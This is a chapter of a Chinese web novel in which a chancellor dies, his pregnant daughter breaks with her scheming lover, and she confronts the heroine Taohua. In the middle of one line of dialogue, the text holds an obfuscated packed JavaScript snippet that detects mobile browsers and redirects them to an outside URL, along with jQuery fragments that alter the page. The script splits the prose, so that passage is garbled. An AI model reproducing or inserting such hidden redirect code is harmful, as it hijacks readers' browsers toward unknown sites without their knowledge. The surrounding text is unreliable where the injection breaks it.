104. 第一百零四章

作品:《透明女配疯狂加戏(穿书)

    一刀晴天霹雳打在了她的头上,顾贞绵的身体往后一退险些倒地,还好有小昭搀扶住了。


    她惊慌地问:“小姐!您没事吧!”


    站在门口一直没离去的江韫烨听着心情复杂。


    太医拿着药草拿火折子点燃,放在太师的鼻下熏了熏,没过一会儿他悠悠转醒过来,用很是脆弱的声音唤道:“贞儿。”


    顾贞绵拨开人群来到他身旁,忍着泪水应道:“爹,女儿在这儿。”


    顾太师的眼神仍然涣散着,只是无意识的唤着她的名,恍惚听不到别人对他的呼唤。


    “太师这是忧虑成疾了,按这剂方子抓药,饮下以后会清醒过来的。”太医将药方交给了顾家的大少爷。


    几人不知有多感谢,送上银两太医不肯收,只能亲自送离客人表达感激。


    顾家的二少爷看到江韫烨还在,所谓家丑不可外扬,他就上前说:“多谢你将我爹带回来,方才太医说的话,还请你不要张扬。”


    说完这些他扭头看向一旁的奴才吩咐说:“来人,送江少爷出去。”


    江韫烨颔首,望着顾贞绵趴在床沿边哭泣,只一眼便收回了眼神扭头跟随着丫鬟离开。


    *


    夜深人静之时,顾贞绵依旧守在帐前不肯离开,小昭在一旁看着焦心,“小姐,要不您先去隔间休息一会儿,奴婢在这儿看着,只要老爷一醒,奴婢立刻就去唤您。”


    她摇了摇头,脸上的泪痕还在,眼睛都哭肿了,“不用了,就让我守着吧,心安些。”


    说着,她接过小昭递来的汗巾,给顾太师擦了擦满头的冷汗。


    “贞儿……”顾太师缓缓地睁开眼,这会儿的眼神看着清明了不少。


    “爹你醒了!”


    “老爷您醒了!”


    二人不约而同的发出惊喜的声音。


    “快去叫大哥大哥过来。”顾贞绵吩咐她,小昭点头正要出去,却被顾太师微弱的嗓音喊住,“不必叫他们过来,我只想对你说两句。”


    她脸上的笑容淡了一些,“小昭,去外头候着吧,我和爹有事要说。”


    小昭听从吩咐出去阖上了门。


    屋内静悄悄的,只能听到顾太师大口喘息的声音,呼吸之间有股浓厚的咯痰声,“你与柏寒洲断了吧,并非爹不同意你们的婚事,他仗着年轻有为又知晓你腹中有他的孩子全然不将你放在眼里,我只怕你嫁给他后受尽苦头。”


    “爹……”到如今她才听到顾太师的真心话,放在平时他只会以严父的口吻命令自己听话,顾贞绵不由得眼里又泛起了一层泪光。


    “我不愿看着你入狼穴,”顾太师闭了闭眼,调整了一下自己的呼吸,“韫曦他……他才是你可以托付终生的人,我不想入了黄泉都不能安息。”


    她听着忍不住淌下泪来,“爹你要好好地,得看着我与他成婚才行。”


    “好……”顾太师露出欣慰的笑容来,微微点头,只是眼睛止不住的越眨越小,闭上了。


    “爹?”顾贞绵愣住了小声的唤,推了推他骨瘦如柴的身子,却没有反应,屏住呼吸伸出一根手指抵在他的唇上,探到几丝微弱的呼吸,这才放心的瘫坐下来。


    门发出咯吱一声,顾家大哥走了进来,看着睡着的父亲问:“爹还没醒过来?”


    顾贞绵捏着帕子擦了擦脸上的泪水,起身说:“方才爹爹醒过来,跟我说了会儿话累着又睡了,大哥可以帮我照顾一下我爹吗?我想回去歇会儿。”


    “好,”顾家大哥自然应允,只是看着她苍白的脸颊,不禁问,“自从盛洲回来后你和柏寒洲之间是不是发生了什么,怎么看着那么憔悴?”


    “没什么,可能是因为旅途劳顿的原由。”她将二人之间的矛盾一笔带过。


    从父亲的院子离开后,顾贞绵并没有直接回自己的院子里去,而是让小昭搀着她去柏寒洲那儿。


    小昭虽然不解,老爷都成现在这样了,为何小姐还要去见柏寒洲。


    “啪”,见到柏寒洲的人,她冷着脸一章甩在了他的脸上。


    白皙无暇的脸顿时红肿得老高,小昭吓了一跳。


    柏寒洲欣然的脸色顿时转为阴沉,瞪着她说:“你做什么?!”


    “你和我爹说了什么!”她身子微微颤抖,语气怒不可遏,质问他说。


    “我……我没说什么。”听着这话,他有一瞬的惊慌,底气不足地说。


    “你没说什么?”顾贞绵冷笑一声,周身像是带着冷霜一般,明明是炎热的天气却像身在冰窖,“那我爹是如何得知我怀有你子嗣的事?你定以此为要挟,让我爹主动和皇上提出解除江顾两家的婚事。”


    她还是将他想得太好了些,本以为自己逼他一把,他会向皇上提出取消婚约,没想到居然将主意打在了她爹身上。


    他是挺有城府的,但这城府都计算在了她的身上!


    “你今日就滚出顾府!以后别再提你是我爹的学生!”顾贞绵眸光凝针,刺在他的身上。


    柏寒洲不敢相信,举起自己受伤的手说:“你为何质疑我的真心,倘若我不爱你,为何用手挡住那腰刀。”


    这番攻心为上的谋略,放在平时定是受用的,但眼下顾贞绵只是盯着他,眸子转到他的手上,半晌道:“小昭,钱袋拿来。”


    平时出门在外,她的钱袋一直都是小昭佩戴在腰间的。


    小昭赶紧递上钱袋,顾贞绵看叶没看里头有多少银两,丢在他的身上,钱袋没被他接住落在地上。


    “这里头的银钱,就当是买我这条命了,倘若你觉得不够,明日我再请府上的管事给你去账房取。”她的眼神愈发冷漠,说完话转头千就要离去。


    柏寒洲很是不甘,冲着她的背影喊道:“难道你打算怀着我的子嗣嫁给江韫烨吗?一个男人怎会容忍至此!更何况他身边现在有施桃花!”


    顾贞绵停住脚步,头也没回说:“孩子我会弄掉,就不劳你操心了,柏大人还是考虑考虑日后的飞黄腾达的事吧。”


    周遭安静极了,柏寒洲站在门口愣了许久,才将目光从那个背影消失的转角收回到地上的钱袋,没系好的绳子松散,口子松开了些,能看到里头都是一锭一锭白花花的银子。


    他伸手捡起来。


    *


    自从江韫烨的伤好不少后,桃花就逃回了自己的院子,虽然在江府奚氏很照顾自己,但总觉得束手束脚的。


    但他不乐意了,一直想哄着自己住江府,见没辙了以后就三天两头的往院子里跑。


    如照站在桃花身后替她梳发髻,问:“主子您今日要穿什么衣裳?”


    “那套粉藕色的衣裳,和今日这个发髻很相配。”桃花捏着样式不一的发簪放在发髻上试,如照则转身去衣柜里头找衣裳。


    打开衣柜却噗嗤一声笑了出来。


    “笑什么呢?里头有什么。”她纳闷的走过去看,之间衣柜里叠满了衣裳,不少还是男式的。


    桃花有些纳闷,本来自己这个衣柜就不大,放自己一个人的衣裳还能用,如今江韫烨的衣服也在这里,就不够用了。


    自己的领地被占领,隐约有些不爽,她努嘴说:“将他的衣裳拿出来打包回江府去。”


    如照很快找到了那套衣裙,一边换衣裳一边替江韫烨说好话:“衣柜小了叫人换一个就是了,少爷经常来院子,总不能让他没有衣裳换吧。”


    “他那个大块头跟我躺在一处,我都嫌挤死了。”桃花看着那拔步床,原先自己一个人睡的时候可舒坦。


    “那不如连同衣柜一起换了吧。”那拔步床本来就是一个人睡的,如今多一个人高马大的男人,自然是不够用了。


    主仆二人在屋里商讨要不要换其他东西,一个丫鬟走进来说:“主子,外头有人要见您。”


    “谁啊。”桃花好奇,江韫烨是院子的男主人直接就进来了,陈深翰呢会通报一声,但因为院子里的仆人都见惯了,所以会直接说朋友来了。


    “是……顾家小姐。”


    顾贞绵?她怎么来了。


    桃花穿戴好后跨出门去,看到院子里坐着的人。


    “顾小姐今日是来道歉的?”她笑着问。


    顾贞绵抬眸看着她说:“我需要向你道什么歉?”


    “哇,真是贵人多忘事啊,”桃花皮笑肉不笑说,“没事我给你记着呢,船上推我下去的事我记得可清楚了,哦对,在贾府也是你特意将贾嘉引到我房中去的吧,还下了房中术,啧啧啧,没想到顾小姐出身高贵,做出这种下贱事来得心应手得很呐。”


    她针针见血,句句带刺,让人听起来很不舒服。


    小昭听得直瞪眼,但今天不知道怎么的,居然没有开口骂她。


    顾贞绵闻言神色未变,反而事出反常的夸赞她一句:“本以为你是个没脑子的小妾,没想到也有几分聪明。”


    “比起顾小姐,我还是差了点。”桃花咧嘴一笑,冷嘲热讽。


    “不过也是,如若没有半分聪明,也不会频频惹韫曦的注意,叫他喜欢上你。”


    “顾小姐今日来我院中如果只是想说这些,那就恕我不奉陪了,送客。”她既然没有道歉的意思,仍旧是一副高高在上的态度,惹得桃花一阵反胃,一会儿还要用午膳呢,可不想因为她影响了胃口。


    “我与你过往一切,一笔勾销。”顾贞绵终于道出今日来的目的。


    “什么?我没有听错吧?”桃花气笑了,过往一切一笔勾销?推人下水差点害她失去清白,就这两件事自己没将她千刀万剐已经是菩萨心肠了好不好?!


    顾贞绵道:“你勾引韫曦让他变心,我害你未得逞,我们二人都有过错。”


    “你不要的宝贝我要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314366|163900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了你还想抢回去?这么喜欢抢怎么不去做盗贼!”桃花嗤笑怒骂。


    她依旧平静如水,仿佛骂得不是自己一般,“我要和韫曦成婚,日后便是江家的主母,你别忘了你只是个小妾,你若是肯放下过往的纠葛,往后我不仅可以让你接着住在这个院子,而且你与韫曦生下的子嗣我亦可以当成亲子来对待,但你若一直斤斤计较,就别怪我不仁不义。”


    桃花皱眉不解,为什么她的态度像雷阵雨一样多变,更何况现在宽松的衣裳已经遮掩不住她日渐隆起的肚子,很快就要露馅了。


    这剧情扭曲得也太厉害了点吧?


    “强扭的瓜不甜,你不是喜欢柏寒洲吗?为什么不让皇上取消婚约,好让你们这对鸳鸯双宿双飞。”


    “我和他之前的事你不必知道,你只要知道我是韫曦为来的妻子即可。”顾贞绵绝口不提柏寒洲的事,不知道是不是因为她提到了这人,她的脸色才稍微露出恼怒的神情。


    桃花恼怒不已,可自己没办法去阻止这件事的发生,难道最后还是只有原著结局这一条路可走吗?


    见她沉默不语,顾贞绵心想自己的目的已经达成,让小昭搀着她起身:“小夫人是个聪明人,应该不会让韫曦难做的对吧?”


    说着,脸上含着淡笑离开。


    桃花气得冲着她的背影比了个中指。


    *


    等到江韫烨回来时,太阳已经快落山了,他疾步往屋里走,桃花赶紧跟在他后头说:“你知道今天谁来了吗?”


    他神色匆匆,但还是问了一句:“谁来了?”


    “顾贞绵来我这儿了!”桃花睁大一双杏仁眼说。


    江韫烨身子一顿,迷惑地看着她问:“她来这儿做什么?”说着,手上的动作没停,从衣柜里取出几件自己日常穿得衣裳,打包好。


    “她今天很……哎,你打包袱做什么?”桃花一下被他的举动吸引了。


    江韫烨动作利索的打上两个结说:“我要去静光庵一趟,这几日不能与你一同用膳了。”


    说着背起包袱捏了一把桃花软嫩的脸颊,她问:“静光庵?这不是我之前求福的地方吗?你不是锦衣卫?去那里做什么?”


    “袁贵妃一直没有子嗣,听说静光庵的圣水十分灵验,皇上让我随同。”江韫烨一边说一边往外走。


    “但今日天都黑了,为什么你这么着急走?”桃花看了一眼天边的余晖,这求子嗣是正经求的吗?


    “袁贵妃明日出发,为保庵内安全,锦衣卫只能今夜上山,提前将闲杂人等请出庵。”江韫烨走到门边,外头几位同僚已经等着了,一个个骑着马神情萎靡。


    “无趣了就让人给你买话本,少跟那厮来往,盛洲你吃睡不好,回来后多养一些肉。”他交代了好多,但提到陈深翰的时候脸色还是不由得一黑。


    桃花乖乖地点头:“好。”


    这么乖巧的样子,叫他心中一软,江韫烨嘴角横飞,抱住她的头在额头落下一吻,“至于顾贞绵的事,等我回来好好听你说。”


    后头一阵啧啧啧的声音,他扭头瞪了他们一眼,随后不舍的翻身上马,打马转向一步一个回头。


    同僚们忍不住说:“江哥,你以前可不这样啊。”


    几人附和着说是啊。


    “再说一句,我叫你们一人值两趟班。”江韫烨严肃道。


    一行人立刻噤声。


    *


    就在江韫烨离开后的第三日,京城大街上飘满了纸钱,顾府挂上一块“当大事”的牌匾,丧幡挂满从大门到大堂的空地,供桌上摆着一盏长明灯。


    顾太师安详的躺在棺材里,再也起不了身了。


    顾府的人俱是穿上了白衣,但顾贞绵却不知去向。


    凡人问起,顾家二子便会说:“小妹身子太差,几次哭晕过去。”


    如此一来,所有人都能体谅了。


    堂前哭嚎的声音此起彼伏,这声音能传到后头,顾贞绵无力的靠在床背,脸色惨淡。


    “小姐,您还是吃点东西吧。”小昭无比心疼地说。


    别家的女子怀上子嗣,各个都是珠润玉圆,偏偏到了她家小姐这里,不仅没圆润反而还更加瘦了,看手腕瘦的见筋骨,仿佛轻轻一碰就能折断。


    她摇了摇头,仿佛用了很大的力气。


    “都是我的错。”她轻声说道,倘若不是因为她的执念,爹到现在还是好好的。


    “小姐不要这么想啊,老爷长寿,也不受病痛折磨,怎么会是小姐的错呢!”小昭眼泪掉落下来,根本忍不住。


    顾贞绵叹息一口气,原本还想让爹看着她成婚的,却还是没有熬到。


    突然腹中一紧,她疼得眼瞳放大,冷汗从额头落下。


    仿佛是腹中的胎儿在说自己活该如此。


    她抚上圆鼓鼓的肚子,不知在想什么。